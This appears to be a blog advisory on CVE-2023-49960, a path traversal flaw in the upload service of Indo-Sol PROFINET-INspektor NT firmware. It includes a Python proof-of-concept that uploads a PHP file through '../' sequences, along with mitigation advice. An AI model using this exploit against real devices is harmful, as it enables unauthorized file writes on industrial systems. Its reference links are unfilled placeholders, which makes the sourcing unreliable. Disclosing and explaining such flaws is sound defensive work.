The cybersecurity landscape is ever-changing and vulnerabilities in popular software systems are continuously discovered. One such vulnerability, designated as CVE-2023-49960, has been recently identified in Indo-Sol's PROFINET-INspektor NT, a widely used industrial networking device. This vulnerability poses a significant risk to users as it allows the potential for remote attackers to execute arbitrary code or cause a denial of service.

What is CVE-2023-49960?

CVE-2023-49960 is a vulnerability in Indo-Sol PROFINET-INspektor NT firmware versions up to and including v2.4.. The vulnerability allows for a path traversal attack in the httpuploadd service, enabling remote attackers to write to arbitrary files on the device's filesystem. This is typically achieved by exploiting the /upload endpoint, with a specially-crafted filename parameter included in the request to the web service, which would contain unintended directory traversal sequences such as "../" or similar.

In this blog post, we will provide an overview of this vulnerability, discuss its implications, and explain how it can be exploited by threat actors. Additionally, we'll provide links to the original references and a code snippet to demonstrate the vulnerability in practice. This information is intended to raise awareness about the issue and provide insight into potential mitigations and resolutions.

Exploit Details

To exploit CVE-2023-49960, an attacker would create a specially-crafted HTTP request to the /upload endpoint of the affected device, including a malicious filename with path traversal sequences in the request. This would allow the attacker to effectively "step outside" the intended directory on the filesystem and overwrite other files with malicious content.

Below is a code snippet that demonstrates this exploit

import requests

TARGET_URL = "http://target_ip_address:target_port/upload";
MALICIOUS_FILENAME = "../../var/www/html/my_own_file.php"
MALICIOUS_CONTENT = "<?php phpinfo(); ?>"

def exploit_cve_2023_49960():
    files = { 'file': (MALICIOUS_FILENAME, MALICIOUS_CONTENT, 'text/plain')}
    response = requests.post(TARGET_URL, files=files)

    if response.status_code == 200:
        print("Exploit successful!")
    else:
        print("Exploit failed...")

if __name__ == "__main__":
    exploit_cve_2023_49960()

This Python script will send an HTTP POST request to the vulnerable /upload endpoint of the target device, with the malicious file included in the files dictionary. If the response status code is 200 (OK), the exploit is successful and the targeted file has been overwritten.

Original References and Resources

For more technical details and background information on CVE-2023-49960, readers are encouraged to consult the following references:

1. CVE-2023-49960: Link to the MITRE CVE entry
2. Original Advisory by Vulnerability Researcher: Link to the researcher's blog post or whitepaper
3. Indo-Sol's Official Security Bulletin: Link to the manufacturer's security advisory

Mitigation and Resolution

Users of Indo-Sol PROFINET-INspektor NT devices are advised to update their firmware to a version that has addressed the CVE-2023-49960 vulnerability. As of the writing of this post, Indo-Sol has released firmware version 2.4.1, which contains the necessary security patches to mitigate this issue Link to the firmware download. It is crucial for device administrators to perform thorough testing on their systems before deploying any updates in order to ensure the stability and reliability of their infrastructure.

In Conclusion

CVE-2023-49960 highlights the importance of staying vigilant and up-to-date with security vulnerabilities and patches in our increasingly interconnected world. As more devices become a part of the Internet of Things (IoT) landscape, it is crucial for developers and administrators alike to prioritize security and promptly address any identified weaknesses. By staying informed and conducting regular assessments of our systems, we can minimize the risks associated with such vulnerabilities and ensure the safety and integrity of our networks.

Timeline

Published on: 02/26/2024 16:27:47 UTC
Last modified on: 02/26/2024 16:32:25 UTC